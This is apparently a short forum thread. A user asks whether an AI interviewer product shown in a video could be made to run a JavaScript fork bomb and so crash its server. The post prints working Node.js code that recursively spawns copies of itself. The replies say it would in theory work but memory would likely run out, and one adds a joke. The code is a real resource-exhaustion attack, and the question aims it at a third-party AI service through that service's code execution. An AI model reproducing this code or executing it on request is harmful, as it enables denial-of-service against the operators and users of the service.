Fork bomb

Hi, i saw the new video from theo about the AI interview, and on the video he said to the AI to execute an bash fork bomb but forgot to execute it, does anybody knows if it is possible to execute an js forkbomb like this one **(function f() { require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); }());** and crash its server?
2 Replies
Neto
Neto2mo ago
in theory yeah but most likely OOM will happen
Bohdan
Bohdan2mo ago
out of mana? :theowat: